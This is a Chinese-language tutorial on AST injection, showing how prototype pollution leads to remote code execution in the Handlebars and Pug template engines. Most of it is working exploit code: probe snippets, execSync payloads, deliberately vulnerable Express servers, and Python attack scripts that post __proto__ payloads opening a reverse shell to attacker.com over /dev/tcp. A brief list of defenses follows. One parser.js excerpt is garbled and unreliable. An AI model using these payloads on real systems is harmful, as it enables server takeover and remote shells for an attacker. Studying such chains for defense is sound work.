AST注入：从原型污染到RCE攻击技术详解

一、AST注入概述

AST（抽象语法树）注入是一种新型的攻击技术，通过操纵JavaScript模板引擎在解析和编译过程中使用的AST结构，实现从原型污染到远程代码执行（RCE）的攻击路径。

关键概念：

• AST：抽象语法树，是源代码语法结构的树状表示
• 原型污染：通过修改JavaScript对象的原型链来影响所有继承对象的行为
• 模板引擎：将模板和数据结合生成最终输出的工具（如Handlebars、Pug等）

二、攻击原理

基本攻击流程：

1. 发现原型污染漏洞
2. 通过原型污染注入恶意AST节点
3. 影响模板引擎的解析/编译过程
4. 实现任意代码执行

核心机制：

• 模板引擎通常将模板转换为AST，然后编译为可执行函数
• 如果输入验证不严格，攻击者可以注入自定义AST节点
• 通过原型污染可以全局影响AST处理过程

三、Handlebars引擎攻击详解

1. 环境探测技术

const Handlebars = require('handlebars');
Object.prototype.pendingContent = `<script>alert(origin)</script>`;
const source = `Hello {{ msg }}`;
const template = Handlebars.compile(source);
console.log(template({"msg": "posix"}));
// 输出: <script>alert(origin)</script>Hello posix

2. 关键漏洞点分析

• javascript-compiler.js中的appendContent函数：

  appendContent: function appendContent(content) {
    if (this.pendingContent) {
      content = this.pendingContent + content;
    } else {
      this.pendingLocation = this.source.currentLocation;
    }
    this.pendingContent = content;
  }
  

• parser.js中的数字字面量处理：

  case 36:
    this.$ = {
      type: 'NumberLiteral',
      value: Number(
  

\[[$0]), original: Number( \]

[\(0]), loc: yy.locInfo(this._\))
};
break;

### 3. 完整攻击利用

```javascript
const Handlebars = require('handlebars');
Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"path": 0,
"params": [{
  "type": "NumberLiteral",
  "value": "console.log(process.mainModule.require('child_process').execSync('id').toString())"
}],
"loc": {"start": 0, "end": 0}
}];

const source = `Hello {{ msg }}`;
const template = Handlebars.precompile(source);
console.log(eval('(' + template + ')')['main'].toString());

4. 实际漏洞利用示例

服务器端代码：

const express = require('express');
const { unflatten } = require('flat');
const bodyParser = require('body-parser');
const Handlebars = require('handlebars');
const app = express();

app.use(bodyParser.json());

app.get('/', function(req, res) {
  var source = "<h1>It works!</h1>";
  var template = Handlebars.compile(source);
  res.end(template({}));
});

app.post('/vulnerable', function(req, res) {
  let object = unflatten(req.body);
  res.json(object);
});

app.listen(3000);

攻击脚本：

import requests
TARGET_URL = 'http://vulnerable-server.com:3000'

# 制造原型污染
requests.post(TARGET_URL + '/vulnerable', json = {
  "__proto__.type": "Program",
  "__proto__.body": [{
    "type": "MustacheStatement",
    "path": 0,
    "params": [{
      "type": "NumberLiteral",
      "value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/attacker.com/3333 0>&1'`)"
    }],
    "loc": {"start": 0, "end": 0}
  }]
})

# 触发执行
requests.get(TARGET_URL)

四、Pug引擎攻击详解

1. 环境探测技术

const pug = require('pug');
Object.prototype.block = {
  "type": "Text",
  "val": `<script>alert(origin)</script>`
};
const source = `h1= msg`;
var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});
console.log(html);
// 输出: <h1>It works<script>alert(origin)</script></h1>

2. 关键漏洞点分析

• pug-code-gen/index.js中的调试代码处理：

  if (debug && node.debug !== false && node.type !== 'Block') {
    if (node.line) {
      var js = ';pug_debug_line = ' + node.line;
      if (node.filename) js += ';pug_debug_filename = ' + stringify(node.filename);
      this.buf.push(js);
    }
  }
  

3. 完整攻击利用

const pug = require('pug');
Object.prototype.block = {
  "type": "Text",
  "line": "console.log(process.mainModule.require('child_process').execSync('id').toString())"
};
const source = `h1= msg`;
var fn = pug.compile(source, {});
console.log(fn.toString());

4. 实际漏洞利用示例

服务器端代码：

const express = require('express');
const { unflatten } = require('flat');
const pug = require('pug');
const app = express();

app.use(require('body-parser').json());

app.get('/', function(req, res) {
  const template = pug.compile(`h1= msg`);
  res.end(template({msg: 'It works'}));
});

app.post('/vulnerable', function(req, res) {
  let object = unflatten(req.body);
  res.json(object);
});

app.listen(3000);

攻击脚本：

import requests
TARGET_URL = 'http://vulnerable-server.com:3000'

# 制造原型污染
requests.post(TARGET_URL + '/vulnerable', json = {
  "__proto__.block": {
    "type": "Text",
    "line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/attacker.com/3333 0>&1'`)"
  }
})

# 触发执行
requests.get(TARGET_URL)

五、防御措施

1. 输入验证：

   • 严格验证所有用户输入
   • 使用安全的JSON解析配置（禁用原型属性）

2. 模板引擎安全：

   • 使用最新版本的模板引擎
   • 限制模板功能，使用沙箱环境

3. 原型污染防护：

   • 冻结敏感对象原型：Object.freeze(Object.prototype)
   • 使用Object.create(null)创建无原型对象

4. 依赖管理：

   • 定期更新依赖项
   • 移除不必要的依赖

5. 运行时保护：

   • 使用CSP（内容安全策略）
   • 实施适当的权限隔离

六、总结

AST注入是一种结合原型污染和模板引擎特性的新型攻击技术，影响广泛使用的模板引擎如Handlebars和Pug。这种攻击的关键在于：

1. 通过原型污染影响全局AST处理
2. 绕过模板引擎的输入验证机制
3. 注入恶意AST节点实现代码执行

防御此类攻击需要多层次的安全措施，包括输入验证、依赖更新和运行时保护。由于模板引擎广泛用于现代Web应用，这种攻击技术的影响范围较大，开发人员应给予足够重视。